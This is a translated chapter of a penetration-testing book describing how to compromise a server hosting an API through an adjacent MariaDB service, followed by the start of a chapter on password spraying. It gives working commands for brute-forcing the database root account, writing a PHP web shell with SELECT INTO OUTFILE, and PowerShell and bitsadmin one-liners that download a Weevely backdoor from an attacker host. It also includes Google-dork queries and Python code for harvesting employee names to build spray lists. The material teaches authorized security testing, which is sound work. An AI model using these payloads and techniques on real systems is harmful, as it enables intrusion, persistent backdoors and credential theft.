客户通常会请求安全专业人员进行应用程序渗透测试。在许多项目中,测试者几乎没有或根本没有获得任何信息,这促使了黑盒测试的方法。这可能会使测试变得更加困难,特别是当开放源情报并不能提供太多帮助,或者接口并不直观或用户友好时,这在 API 中有时可能会发生。
在本章节提出的场景中,我们面对的正是在现实中经常遇到的问题。与其深入探讨 API 的内部工作原理,并试图在没有太多先验知识的情况下反向工程其功能,我们可以先寻找那些低 hanging fruit(易于获取的目标)。我们希望,通过选择安全团队少走的路,最终能够找到开放的后门,并绕过那扇四英尺厚的钢门,保护着入口。
在本章中,我们将探讨以下内容:
-
评估应用程序服务器的安全姿态,寻找替代路径来妥协
-
对服务进行暴力攻击
-
利用相邻服务中的漏洞来妥协目标
网络评估
我们已经在之前的章节中看到,Metasploit 的工作区功能非常有用。在接下来的项目中,我们也会利用它。首先,我们必须使用 msfconsole 命令从终端启动控制台。一旦 Metasploit 加载完成,它将把我们带到熟悉的 msf > 提示符下。
root@kali:~# **msfconsole**
[*] StarTing the Metasploit Framework console...
msf >
与所有涉及 Metasploit 的项目一样,我们首先为该范围创建一个工作空间:
msf > **workspace -a ecorp**
[*] Added workspace: ecorp
对于此场景,我们的目标是由 E Corp 提供的黑盒 API 应用程序。目标主机将是 api.ecorp.local。
在我们猛攻 Web 接口并尝试利用某些隐蔽漏洞之前,让我们退一步,看看 API 服务器上暴露的其他服务。我们希望,尽管开发人员可能在开发生命周期中严格审查了 API 本身并且认真对待了安全性,但在部署服务器本身时可能会犯错误。系统硬化的许多方面简直无法在源代码仓库内控制。特别是当托管目标应用程序的服务器是一个共享资源时。这增加了随着不同团队及其不同需求的互动,系统安全策略随时间放宽的可能性。可能存在一些开发实例,其控制不严格地运行在非标准端口上,或者是一个被遗忘且易受攻击的应用程序,可以为我们(作为攻击者)提供所需的访问权限,并轻松妥协目标。
和往常一样,Nmap 是我们首选的网络侦察工具,结合 Metasploit 的工作空间,它变得更强大。Metasploit 控制台的 Nmap 包装命令是 db_nmap 命令。我们将使用的 Nmap 切换选项,用于发现开放端口并查询服务以获取更多信息,详见以下内容。
-sV 选项会指示 Nmap 执行版本扫描,识别到的任何服务都会进行版本探测,-A 选项会为我们提供一些主机指纹信息,并尝试检测操作系统。-T4 选项用于告知 Nmap 在扫描网络时更具攻击性。这样可以提高扫描速度,但也有被入侵检测系统发现的风险。较低的数字(例如 -T1)会让扫描更为谨慎,虽然完成速度较慢,但可能会让我们在更长时间内保持隐蔽。-Pn 选项会阻止 Nmap 对目标执行 ping 操作。除非我们扫描广泛的地址范围并且只关注在线的主机,否则 ping 操作通常不是必需的。最后,-p1-(小写)是 -p1-65535 的简写,指示 Nmap 扫描目标上的所有端口。未命名的参数是我们的目标,api.ecorp.local:
msf > **db_nmap -sV -A -T4 -Pn -p1- api.ecorp.local**
[*] Nmap: Starting Nmap 7.40 ( https://nmap.org )
[...]
[*] Nmap: Nmap done: **1 IP address (1 host up)** scanned in 206.07 seconds
msf >
由于我们使用 Metasploit 的 db_nmap 命令包装了 Nmap 扫描,结果会自动解析并写入到我们的工作空间数据库中。扫描完成后,我们可以通过执行 services 命令查看数据库中的条目:
msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
**10.0.5.198 80 tcp http open Apache httpd 2.4.26 (Win32) OpenSSL/1.0.2l PHP/5.6.31**
**10.0.5.198 3306 tcp mysql open MariaDB unauthorized**
看起来 MySQL 实例是可访问的,因此获取对它的访问权限将非常有价值。Nmap 将其检测为 MariaDB 服务,MariaDB 是 MySQL 软件的社区开发分支。如果我们运气好,实例可能是过时的,存在一些容易被利用的漏洞,能为我们提供即时访问。为了弄清楚这一点,我们可以使用数据库软件的版本号,并将其与公共 常见漏洞和暴露(CVE)列表进行比对,希望能在互联网上找到一些可利用的代码。
我们希望通过暴露的 MySQL(MariaDB)服务攻击,而不是直接通过端口 80 进行应用程序攻击,如图所示的攻击路径所示:

图 3.1:另一种攻击路径
寻找突破口
由于 Nmap 扫描没有返回特定版本,我们可以快速执行一个详细的版本探测,针对 MySQL 服务使用几个 Metasploit 命令。
首先,我们加载名为 mysql_version 的辅助扫描模块。使用 use 命令,后跟模块路径 auxiliary/scanner/mysql/mysql_version,即可在当前会话中加载该模块。我们可以通过执行 show info 命令查看关于 mysql_version 模块的更多信息,如下图所示:

图 3.2:mysql_version 模块信息
基本选项: 会列出我们需要更新的变量,以确保模块能正常执行。对于这个特定的扫描器,RHOSTS、RPORT 和 THREADS 参数是必需的。RHOSTS,即远程主机,和 RPORT,即远程端口,应该是显而易见的。THREADS 选项可以增加线程数以提高扫描速度,但由于我们只针对一个远程主机 api.ecorp.local,因此不需要超过一个扫描线程。
在加载模块后,我们可以将所需的 RHOSTS 变量设置为适当的目标。由于目标已经被 db_nmap 扫描过,并且结果存储在 ecorp 工作区中,我们可以使用 services 命令自动将 RHOSTS 变量设置为所有找到的 MySQL 服务器,如下所示:
msf auxiliary(mysql_version) > **services -s mysql**
**-R**
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.0.5.198 3306 tcp mysql open MariaDB unauthorized
**RHOSTS => 10.0.5.198**
msf auxiliary(mysql_version) >
services 命令接受一些开关,以更好地过滤和处理结果。services 命令中的 -R 选项将当前模块的 RHOSTS 变量设置为查询返回的值。在这种情况下,你也可以手动输入主机,但对于更广泛的扫描,这个开关将非常方便。
还有其他方式可以查询工作区中的服务。例如,在之前的命令行输入中,我们使用了 -s 选项,它过滤出所有运行 MySQL 服务的主机。
如果我们知道接下来会使用其他 Metasploit 模块攻击同一主机,最好将全局 RHOSTS 变量设置为相同的值。这将确保在切换模块时,RHOSTS 值会自动填充。我们可以通过使用 setg 命令来实现,如下所示:
msf auxiliary(mysql_version) > **setg RHOSTS 10.0.5.198**
RHOSTS => 10.0.5.198
msf auxiliary(mysql_version) >
现在剩下的就是运行 mysql_version 模块,希望能够返回一些有用的信息,如下图所示:

图 3.3:在目标 RHOSTS 上运行的 mysql_version
看起来该模块成功识别了 MySQL 服务器版本。这在寻找已知漏洞时非常有用。
如果我们再执行一次 services 查询,你会注意到 mysql 服务的 info 字段已更改为 mysql_version 扫描的结果,如下所示:
msf auxiliary(mysql_version) > **services -s mysql**
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.0.5.198 3306 tcp mysql open 5.5.5-10.1.25-MariaDB
msf auxiliary(mysql_version) >
在我们的 Nmap 扫描未能识别版本号时,Metasploit 成功地识别并自动更新了数据库以反映这一点。然而,经过查看 MySQL 的公开 CVE 记录后,似乎该实例并没有任何未经认证的漏洞。
回到 Kali Linux 终端,我们可以使用 mysql 客户端命令尝试以 root(-u)身份认证连接到 api.ecorp.local 主机(-h):
root@kali:~# **mysql -uroot -hapi.ecorp.local**
ERROR 1045 (28000): Access denied for user 'root'@'attacker.c2' (using password: NO)
root@kali:~#
注意 -u 和 -h 开关及其对应值之间没有空格。快速检查空的 root 密码失败,但这证明 MySQL 服务器接受来自远程地址的连接。
凭证猜测
由于我们未能找到一个有效的远程漏洞用于 MySQL 实例,下一步是尝试对默认 MySQL root 用户进行凭证暴力破解攻击。我们将使用我们整理过的常见密码字典之一,并希望这个实例在部署时没有得到妥善的安全保护。
在 Metasploit 的帮助下,我们可以相对容易地启动一个 MySQL 登录密码猜测攻击。我们将使用 mysql_login 辅助扫描模块,如下所示的截图所示。这个模块有一些额外的可用选项供调整:

图 3.4:mysql_login 辅助扫描模块
在继续之前,我们将设置以下值,以使扫描更加高效,并减少一些噪音:
msf auxiliary(mysql_login) > **set THREADS 10**
THREADS => 10
msf auxiliary(mysql_login) > **set VERBOSE false**
VERBOSE => false
msf auxiliary(mysql_login) > **set STOP_ON_SUCCESS true**
STOP_ON_SUCCESS => true
msf auxiliary(mysql_login) >
增加 THREADS 线程数将帮助你更快地完成扫描,尽管这样可能会更加显眼。更多线程意味着更多的服务连接。如果这个主机不够强健,我们可能会将其崩溃,从而引起防御者的警觉。如果我们的目标是保持低调,我们可以只使用一个线程,但扫描将需要更长时间。VERBOSE 变量应设置为 false,因为你将测试大量密码,控制台输出可能会变得混乱。禁用冗余输出的一个额外好处是,它显著提高了扫描速度,因为 Metasploit 不需要在每次尝试后将内容输出到屏幕上。最后,设置 STOP_ON_SUCCESS 为 true,如果成功登录,我们将停止攻击。
目标 USERNAME 将设置为 root,因为默认情况下,MySQL 安装通常启用这个用户:
**msf auxiliary(mysql_login) > set USERNAME root**
**USERNAME => root**
对于字典文件,PASS_FILE 将设置为 SecLists 中的 10-million-password-list-top-500.txt 文件,内容如下。这是从一个包含 1000 万个密码的大字典中提取的 500 个最常见的密码:
msf auxiliary(mysql_login) > set PASS_FILE **~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-500.txt**
PASS_FILE => ~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
msf auxiliary(mysql_login) >
这是一个不错的起点。还有其他不同的 1000 万密码列表文件变体,如果这个无法产生有效的登录,我们可以尝试前 1000 个、10000 个或其他字典。
与 Metasploit 中的其他模块一样,run 命令将开始执行:
msf auxiliary(mysql_login) > **run**
几分钟后,我们收到了一些好消息:
[+] 10.0.5.198:3306 - MYSQL - Success: **'root:789456123'**
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >
看起来我们已经找到了一个有效的登录凭证,适用于与目标应用程序运行在同一台机器上的 MySQL 实例。这个数据库可能是 API 使用的数据库,也可能不是。我们将进一步检查,看看能否找到办法启动一个 shell,完全入侵 E Corp API 服务器,并间接入侵我们的目标。
我们可以再次通过 mysql 命令从我们的 Kali Linux 实例直接连接。-u 选项指定用户名,-p 选项让我们传入新发现的密码。选项与其值之间没有空格。如果我们省略 -p 的值,客户端将提示我们输入密码。
以下截图展示了成功连接到数据库服务并使用 show databases; SQL 查询列出可用数据库的情况:

图 3.5:成功认证连接到目标数据库
一旦连接,我们查询了可用的数据库,但似乎服务器上没有与 API 相关的内容。可能是该 API 配置为使用不同的 SQL 数据库,而我们碰巧发现了一个没有太多有趣数据的开发实例。
鉴于我们是数据库管理员 root,我们应该能够做很多有趣的事情,包括将任意数据写入磁盘。如果我们能做到这一点,意味着我们可能会实现远程代码执行。
提示
有一个 Metasploit 模块(惊讶吧)可以通过已知凭证上传可执行文件并启动反向 shell。对于 Windows 机器,exploit/windows/mysql/mysql_payload 可以上传一个 Meterpreter shell 并执行它,尽管它有一些缺点。一个标准的 Metasploit 有效载荷可能会被 杀毒软件 (AV) 检测到,并向防守者发出警报。通过 完全不可检测 (FUD) 的 Metasploit 有效载荷,可以绕过杀毒软件,但在本章的场景中,我们将选择一个更简单、风险较低的选项。
虽然 MySQL 能通过 SQL 查询语句将文件写入磁盘,但执行二进制文件实际上要复杂一些。我们不能轻易地将二进制数据写入磁盘,但可以写应用程序源代码。实现代码执行的最简单方法是在应用程序目录中写一些 PHP 代码,这样我们就能通过应用程序的 URL 执行 shell 命令。在 PHP 的帮助下,web shell 将通过 HTTP GET 请求接收命令并将其传递给系统 shell。
现在,让我们找出当前磁盘的位置,以便将有效载荷写入适当的 web 应用程序目录。SHOW VARIABLES SQL 查询可以让我们查看配置信息,而 WHERE 子句将输出限制为仅目录信息,如下所示:
MariaDB [(none)]> show variables where variable_name like **'%dir';**
+---------------------------+--------------------------------+
| Variable_name | Value |
+---------------------------+--------------------------------+
| aria_sync_log_dir | NEWFILE |
| basedir | C:/xampp/mysql |
| character_sets_dir | C:\xampp\mysql\share\charsets\ |
| datadir | C:\xampp\mysql\data\ |
| innodb_data_home_dir | C:\xampp\mysql\data |
| innodb_log_arch_dir | C:\xampp\mysql\data |
| innodb_log_group_home_dir | C:\xampp\mysql\data |
| innodb_tmpdir | |
| lc_messages_dir | |
| plugin_dir | C:\xampp\mysql\lib\plugin\ |
| slave_load_tmpdir | C:\xampp\tmp |
| tmpdir | C:/xampp/tmp |
+---------------------------+--------------------------------+
12 rows in set (0.00 sec)
MariaDB [(none)]>
这看起来像是 XAMPP 安装,并且根据开源文档,主网站代码应位于 c:\xampp\htdocs\。你可以通过快速的 curl 测试来确认这一点。典型的 XAMPP 安装在 htdocs 文件夹中有一个名为 xampp 的子目录。它包含一些文件,其中之一是 .version 文件,里面包含了你想要的内容,即 XAMPP 版本:
root@kali:~# **curl http://api.ecorp.local/xampp/.version**
5.6.31
root@kali:~#
回到 MySQL 命令行界面,我们可以尝试使用 MySQL 的 SELECT INTO OUTFILE 查询将数据写入该目录。如果我们能把 PHP 文件放到 htdocs 中的某个地方,我们应该能通过网页浏览器或 curl 来调用它,这样就能执行代码。
我们将使用的 SELECT 语句模板如下:
**select "[shell code]" into outfile "[/path/to/file.php]";**
让我们插入一些测试值,看看是否能写入目标目录,更重要的是,应用 Web 服务器是否能正确处理我们的 PHP 代码:
**MariaDB [(none)]> select** "<?php phpinfo();/*ECorpAppTest11251*/ ?>" into outfile "c:/xampp/htdocs/xampp/phpinfo.php";
**Query OK, 1 row affected (0.01 sec)**
**MariaDB [(none)]>**
注意
ECorpAppTest11251 标志作为注释添加,以防我们在测试完成后无法清理此 shell,需要向客户的蓝队报告。它还可以帮助蓝队识别可能在事件响应演练中被遗漏的文件。这并非总是必须的,但这是一个好的做法,特别是在处理高风险工件时。
这是好的:查询成功。我们可以检查 PHP 解释器是否在此目录下工作,并通过从浏览器调用它来查看文件是否成功执行,如下图所示:

图 3.6:PHP 代码成功执行
在这一阶段,我们需要获取服务器的 shell 访问权限,这样我们才能执行任意命令,而不仅仅是输出 PHP 配置数据。通过修改之前的SELECT INTO OUTFILE负载,可以生成一个初步的 PHP shell。PHP 有一个内置函数,方便执行任意的 shell 命令。所有服务器端的 Web 编程语言都具有此功能:如 Python、Perl、ASP、Ruby 等等。
如果我们将来自GET请求的数据传递给 PHP 内置的system()函数,我们就可以在服务器上执行任意命令。
以下是我们的 Web shell 源代码:

图 3.7:Web Shell 源代码
代码非常简单。if语句会检查传入的 password 参数的 MD5 哈希值是否与 4fe7aa8a3013d07e292e5218c3db4944 匹配。如果匹配,cmd GET 参数中的命令字符串将传递给 PHP 的 system() 函数,这样它就会作为系统命令执行,从而为我们提供 shell 访问权限。
我们要找的 MD5 值是 ECorpAppTest11251 的哈希值,已通过 md5sum Linux 命令确认:
root@sol:~# echo -n ECorpAppTest11251 | md5sum
**4fe7aa8a3013d07e292e5218c3db4944** -
root@sol:~#
为了方便地通过 MySQL 的SELECT INTO OUTFILE语句将 shell 代码写入磁盘,我们可以将其压缩成一行。幸运的是,PHP 对回车符不太敏感,只要代码通过分号和大括号正确分隔即可。我们可以将我们的 Web shell 压缩成以下一行:
<?php if (md5($_GET['password']) == **'4fe7aa8a3013d07e292e5218c3db4944')** { system($_GET['cmd']); } ?>
如果我们将它插入到我们的 SELECT INTO OUTFILE 模板中,我们应该能够将其写入 xampp 子目录中,该目录可以通过 Web 访问:
MariaDB [(none)]> select **"<?php if (md5($_GET['password']) == '4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>" into outfile "c:/xampp/htdocs/xampp/xampp.php";**
Query OK, 1 row affected (0.01 sec)
**MariaDB [(none)]>**
我们可以通过执行 tasklist 系统命令并传递 ECorpAppTest11251 作为密码,看到 shell 的实际操作,如下图所示:

图 3.8:应用服务器上的进程列表
这很简单。我们现在可以在应用服务器上执行任意代码。我们可以获取目标源代码,找到数据库,导出密码,后门应用,等等。
更好的方式来使用 shell
虽然我们已经实现了在服务器上执行代码,并有效地攻陷了应用程序(甚至更多!),但你可能有动力进一步深入挖掘。此外,到目前为止创建的 Web shell 相当简陋,执行命令时很难连续操作。如果这项测试持续数天,甚至数周,这将成为一种负担。它有点笨重,且难以操作。你可能需要传输文件、升级到交互式 shell、浏览文件系统等等。为了这些原因,以及许多其他原因,你应该升级到一个功能更强的 shell。这就是Weevely的作用。
Weevely 是一个默认安装在 Kali Linux 中的武器化 Web Shell,使用起来非常简单。它生成一个混淆过的、密码保护的 PHP shell,可以替代我们之前的system() shell 示例。Weevely 提供了一些超越传统系统传递 shell 的有用功能,包括以下内容:
-
一个熟悉的终端界面
-
网络转发
-
文件上传与下载
-
反向和直接 TCP shell
-
Meterpreter 支持
首先,我们需要通过执行weevely generate命令生成一个新的 shell。语法如下:
**root@kali:/var/www/html# weevely generate <password> </path/to/shell.php>**
Weevely 将在我们 Kali 机器上指定路径生成一个密码保护、混淆过的 PHP Web shell:
root@kali:/var/www/html# **weevely generate ECorpAppTest11251**
**/var/www/html/shell.php**
Generated backdoor with password 'ECorpAppTest11251' in '/var/www/html/shell.php' of 742 byte size.
root@kali:/var/www/html#
为了快速提供新生成的 Web shell,我们可以使用一行命令在 Kali Linux 实例上启动一个临时 Web 服务器。Python 自带一个SimpleHTTPServer模块,可以从终端调用,来通过 HTTP 提供文件。不需要调整 Apache 或 NGINX 设置。默认情况下,SimpleHTTPServer模块会将当前目录的内容提供给 Web。
在与 Weevely 生成的文件shell.php(/var/www/html)相同的目录下,我们可以使用带有-m开关的 python 来加载SimpleHTTPServer模块。最后一个参数是 Web 服务器监听的端口,本例中为端口80:
root@kali:/var/www/html# **python -m SimpleHTTPServer 80**
Serving HTTP on 0.0.0.0 port 80 ...
困难的部分已经过去。现在我们只需通过现有的 shell xampp.php将shell.php传输到目标服务器。可以通过几种方式实现这一点。在 Linux 服务器上,wget几乎总是可用且易于使用。对于 Windows,你可以利用内置的bitsadmin.exe或更炫酷的powershell.exe一行命令。
我们可以利用curl和以下模板,在远程主机上执行 PowerShell 命令,并有效地下载一个更高级的 Weevely shell。你只需要插入合适的值:
curl -G "[current shell url]" --data-urlencode **"cmd=[command to execute]" &password=ECorpAppTest11251**
要执行的命令,在本例中将是以下内容:
**powershell -w hidden -noni -nop -c (new-object net.webclient).DownloadFile('http://attacker.c2/shell.php','c:\xampp\htdocs\xampp\test.php')**
为了悄无声息地成功执行 PowerShell 文件下载器,需要一些参数开关。-w开关将窗口样式设置为hidden,防止在执行过程中出现任何不必要的弹出窗口。-nop和-noni开关将分别禁用配置文件加载和用户交互,从而在执行下载器时提供更多的隐匿性。
-c 选项接收一个任意的 PowerShell 脚本块来执行。为了我们的目的,我们将创建一个新的 Net.Webclient 对象,并调用它的 DownloadFile 方法,将源和目标作为参数传递。
这个 PowerShell 一行命令示例将从 SimpleHTTPServer 获取 Weevely shell 内容,并将其放入应用服务器的相应 htdocs 目录中:
root@kali:/var/www/html# curl -G http://api.ecorp.local/xampp/xampp.php --data-urlencode **"password=ECorpAppTest11251& cmd=powershell -w hidden -noni -nop -c (new-object net.webclient).DownloadFile('http://attacker.c2/test.php','c:\xampp\htdocs\xampp\test.php')"**
root@kali:/var/www/html#
Curl 有一个 --data-urlencode 选项,它会将我们的命令进行 URL 编码,使其通过 HTTP 传输时不会引发任何问题。-G 选项确保编码后的数据通过 GET 请求传递。
由于 PowerShell 命令在一个独立的进程中运行,简单的 PHP shell xampp.php 将无法返回任何成功或失败的消息。我们可以通过尝试使用 Weevely 客户端连接到该 shell 来验证成功与否。
尽管现在不太常见,但目标 Windows 系统上可能会禁用或无法使用 PowerShell。在这种情况下,使用 bitsadmin.exe 下载 payload 完全可行。将正确的值插入后,我们可以抓取 Weevely shell 并将其放入 htdocs 文件夹。
我们将使用的 bitsadmin 命令模板如下:
**bitsadmin /transfer myjob /download /priority high [current shell url] [save location]**
就像 PowerShell 下载器一样,您需要在命令中展开变量,并将它们插入到 curl 模板中,如下所示:
root@kali:/var/www/html# curl -G http://api.ecorp.local/xampp/xampp.php --data-urlencode **"password=ECorpAppTest11251&cmd=bitsadmin /transfer myjob /download /priority high http://attacker.c2/shell.php c:\\xampp\\htdocs\\xampp\\test.php"**
BITSADMIN version 3.0 [ 7.5.7601 ]
BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
Transfer complete.
root@kali:/var/www/html#
注意
正如 bitsadmin 输出中明确指出的,二进制文件已被弃用。尽管它在所有 Windows 版本中仍然可用,但将来可能不再如此。然而,企业通常更新 Windows 版本较慢,因此您可能仍然可以依赖此工具多年。
现在,Weevely 客户端应该能够连接到远程主机上的 test.php shell。执行此操作的语法不言自明:
root@kali:/var/www/html# **weevely http://api.ecorp.local/xampp/test.php ECorpAppTest11251**
[+] weevely 3.2.0
[+] Target: ECORP-PRD-API01:C:\xampp\htdocs\xampp
[+] Session: /root/.weevely/sessions/api.ecorp.local/test_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
我们可以在 Weevely shell 中发出命令,这些命令将直接传递给被攻陷的主机:
weevely> **whoami**
ECORP-PRD-API01\Administrator
ECORP-PRD-API01:C:\xampp\htdocs\xampp $
获取 Weevely shell 后的第一步是删除之前创建的系统通行 Web shell xampp.php 文件,操作如下:
ECORP-PRD-API01:C:\xampp\htdocs\xampp $ **del xampp.php**
此时,我们可以自由地在服务器上移动,收集任何可以在攻击后续阶段使用的信息。我们完全控制服务器,如果需要,可以运行更强大的反向 shell,例如 Meterpreter。
即使被攻陷的服务器与网络的其他部分隔离,我们仍然能够访问应用程序代码。我们可以通过后门方式收集经过身份验证用户的网络凭证,然后进一步攻击公司网络。这实际上取决于参与的范围。
清理
如前所述,一旦任务完成,我们必须确保清除任何可能让客户暴露的遗留物。在此次攻击中,我们创建了三个文件,这些文件可能被用来攻击客户。尽管不太可能有人能利用我们的 Weevely 外壳,但删除任何遗留物是明智的。我们创建的phpinfo.php测试文件也应该被删除。虽然它不提供任何远程访问,但它显示的信息可能被用来进行攻击。
就像我们查询 MySQL 变量以找出应用程序在磁盘上的位置一样,攻击者可以利用phpinfo()的输出,改进本地文件包含攻击的成功率,如下所示:
ECORP-PRD-API01:C:\xampp\htdocs\xampp $ **del test.php phpinfo.php**
ECORP-PRD-API01:C:\xampp\htdocs\xampp $ **dir**
[-][channel] The remote backdoor request triggers an error 404, please verify its availability
[-][channel] The remote backdoor request triggers an error 404, please verify its availability
ECORP-PRD-API01:C:\xampp\htdocs\xampp $
一旦我们移除了test.php外壳,Weevely 客户端将失去连接,并显示前面代码块中的404错误信息。
注意
在摧毁网络中的任何持久性之前,最好先完成报告。
资源
参考以下资源以获取有关渗透测试工具和技术的更多信息:
-
Mitre 提供了一个方便的网站,列出了所有可用的 CVE:
cve.mitre.org/ -
Weevely 文档和最新代码可以在 GitHub 上找到:
github.com
总结
在本章中,我们继续展示了始终做好安全工作是多么困难。不幸的是,这一直是,也将永远是,大多数公司的现实。然而,作为专业攻击者,我们却在这一点上茁壮成长。
在我们的场景中,我们没有直接攻克应用程序,而是花费了大量时间与 API 进行交互,寻找破坏它的方法。相反,我们假设大部分的安全加固工作都花在了应用程序本身上,并且我们依赖于这样一个事实:显然,保护服务器或开发环境并保持其安全是一项困难的任务。
通常,应用程序开发生命周期倾向于将开发人员和管理员的注意力集中在应用程序代码本身,而忽视了辅助系统控制。操作系统没有打补丁,防火墙完全开放,开发数据库实例暴露了应用程序,容易遭受一系列简单但有效的攻击。
在本章中,我们探讨了以其他方式攻克目标应用程序的方法。通过使用 Nmap 扫描应用程序服务器,我们发现一个暴露的数据库服务,其配置了一个容易猜测的密码。通过访问该相邻服务,我们能够在服务器上执行代码,最终访问目标应用程序及更多内容。
在下一章中,我们将探讨高级暴力破解技术以及如何在隐蔽性至关重要的任务中保持低调。
第四章 高级暴力破解
某些任务需要更多的隐蔽性,而这些任务中最嘈杂的部分通常是暴力破解扫描。无论我们是在特定的登录表单上寻找有效的凭证,还是扫描有趣的 URL,大量的目标连接在短时间内都可能会引起防御者的警觉,测试可能在真正开始之前就已经结束了。
大多数渗透测试任务都是“砸窗抢劫”型的操作。这类评估通常时间比较紧迫,而在暴力破解攻击中为了隐蔽性限制我们的连接速度可能会妨碍进展。对于那些可能需要更多技巧的任务,传统的暴力破解和字典攻击方法可能过于激进,并可能引发蓝队的警报。如果目标是在整个测试期间保持低调,那么使用更细腻的方式猜测密码或使用 SecLists 字典查找未保护的网页内容可能是更好的选择。
在本章中,我们将讨论以下内容:
-
密码喷射攻击
-
元数据收集和公共网站抓取
-
使用Tor规避入侵检测系统(IDS)
-
使用Amazon Web Services(AWS)规避 IDS
密码喷射
在暴力破解账户凭证时,一个常见的问题是后端认证系统可能会在短时间内多次输入无效信息后锁定目标账户。微软的Active Directory(AD)对所有用户设置了默认的策略,正是为了实现这一点。典型的策略足够严格,对于大多数攻击者来说,使用大密码列表攻击单一账户会非常耗时,且几乎没有投资回报的希望。与 AD 集成认证的应用将会受到这些策略的影响,传统的暴力破解攻击可能会导致账户锁定,进而触发防御方的警报,并且显然会引起被锁定用户的警觉。
一种巧妙的方式,既能绕过一些账户锁定控制,又能增加成功几率,称为反向暴力破解攻击或密码喷射攻击。其原理很简单,基于一个事实:作为攻击者,我们通常只需要一组凭据就能攻破应用程序或托管它的环境。与其将暴力破解攻击集中在一个用户上,并冒着将其锁定的风险,我们不如针对多个已知有效用户,使用较小的、更有针对性的密码列表进行攻击。只要我们将每个账户的尝试次数保持在锁定政策以下,就能避免触发警报。密码喷射不仅在试图获取对组织 VPN web 应用程序或Outlook Web Access(OWA)的访问时有用,还可以用于任何其他应用程序的登录系统。虽然几乎可以确定与 AD 集成的应用程序实施了锁定策略,但其他具有独立身份验证机制的应用程序中也可能存在类似的策略。
为了正确地进行凭据喷射攻击,我们需要一个包含大量有效用户名的列表,形式可以是邮箱地址或熟悉的DOMAIN\ID格式。收集有效的用户或账户名比看起来要容易。即便没有 SQL 或轻量目录访问协议(LDAP)注入转储,首先要查看的地方应该是目标公司公开的网站。通常会有很多线索,帮助我们了解公司如何构建账户名或用户 ID。在与 AD 集成的应用程序中,常见的邮箱格式为ldap@company.com,可以从他们的联系我们、关于我们或团队页面中提取。有些账户信息也可以在源代码中找到,通常是 JavaScript 库、HTML 或 CSS 文件,尤其是针对公开面向用户的 Web 应用程序。
以下是一个示例 JavaScript 库,其中包含在执行密码喷射攻击时构建账户列表时的有用信息:
/**
* slapit.js
*
* @requires jQuery, Slappy
*
* @updated **klibby@corp** on 12/12/2015
*/
(function(){
var obj = $('.target');
/* @todo **dmurphy@corp**: migrate to Slappy2 library */
var slap = new Slappy(obj, {
slide: false,
speed: 300
});
slap.swipe();
)();
前面的代码不仅给我们提供了至少两个账户作为喷射攻击的目标,还暗示了用户账户名称的结构。如果我们查看高层团队介绍页面上的联系信息,我们可以合理推测这些员工的账户名可能是什么。
用户名的常见格式,特别是在基于 LDAP 身份验证的情况下,通常如下:
-
FirstName.LastName -
[First Initial]LastName -
LastName[First Initial] -
FirstNameLastName
任何在公开网站上列出的联系邮箱,都可以添加到我们潜在用户的目标列表中进行喷射攻击。很有可能这些邮箱也对应着他们的登录凭据。例如,如果我们收集了大量格式为david.lightman@antihacker.com的公司邮箱,而我们一无所知,我们可以建立一个包含以下条目的用户列表:
-
david.lightman -
dlightman -
lightmand -
davidl -
davidlightman
一些组织已经决定将员工的账户名限制为 8 个字符或更少,作为公司范围内的一项通用政策。这简化了对于那些不支持长账户名的遗留系统的账户配置。像 John Smith 这样的常见员工姓名,在大型组织中也可能导致冲突,通常通过在账户名后添加数字来解决这个问题。
基于这些原因,我们还应该在列表中添加以下几种变体:
-
dlightma -
dlightm2 -
dlightm3
我们还应考虑愿意进行多少次身份验证失败尝试。虽然我们通过密码喷射技术使用一个密码尝试 10 个不同的用户名变体,从而避免账户锁定,但如果其中一个名字有效,我们仍然会产生至少 9 次失败的身份验证尝试。如果我们针对 300 名员工,每人有 10 个变体,这将导致一个相当高的身份验证失败率,可能会触发 IDS 并提醒防御者我们的活动。
LinkedIn 抓取
LinkedIn 也是获取员工姓名的一个重要来源,我们可以利用这些信息来构建有效的账户名称列表。一点点Google 黑客技巧可以列出所有公开的 LinkedIn 个人资料,这些个人资料来自那些公开表示在我们目标公司工作的人。Google 黑客技巧指的是通过使用特定的查询词,利用搜索引擎返回多年索引的有趣信息。例如,如果我们想要瞄准 Yahoo!,我们可以通过使用site和inurl查询修饰符来过滤出包含员工姓名的 Google 搜索结果:
**site:**linkedin.com **inurl:**"/pub/" **-inurl:**"/dir/" "at **[Target Company]**"
修饰符及其参数通过冒号(:)分隔,也可以在前面加上负号(-)来表示是否应包括或排除某个值。inurl修饰符可以指示 Google 仅返回包含特定字符串的 URL 结果。相反,-inurl修饰符会排除 URL 中包含该字符串的结果。我们还可以将搜索词用引号括起来,以表示我们希望结果精确匹配该字符串。
在我们的示例中,我们寻找的是包含/pub/的 LinkedIn 个人资料页面,并且其页面内容中包含"at Yahoo"。通过使用反向(-)inurl修饰符,我们还排除了包含/dir/的 URL,以确保结果仅包含员工资料而非目录页。该搜索还通过site修饰符限制在linkedin.com域名内。结果应该包含表明用户在“公司”工作的文字。

图 4.1:Google 黑客示例
搜索查询返回的员工姓名可以被爬取并存储在一个文本文件 linkedin.txt 中,按 First[空格]Last 格式进行处理。对于我们的密码喷洒攻击,我们需要将文本文件中的 First Last 条目转换为潜在的账户名。我们可以通过一些简单的 Python 代码快速实现这一点。
首先,我们需要以读取模式(r)打开 linkedin.txt 文件,并将指针存储在 fp 变量中,如下所示:
with open("**linkedin.txt**", '**r**') as **fp**:
我们可以使用 for 循环,配合 iter 函数,遍历 fp 的内容。这将允许我们遍历文本文件中的每一行,并在每次循环中将相应的值存储在 name 变量中:
for **name** in iter(**fp**):
接下来,对于每一行,假设包含一个由空格分隔的名字和姓氏条目,我们可以使用以下单行代码通过空格(' ')来 split() 分隔这两个部分:
*first, last* = name.strip().lower().*split(' ')*
变量 first 和 last 将包含你期望的值,这些值会经过 strip() 和 lower() 函数调用后被清理为小写且去除多余空格。
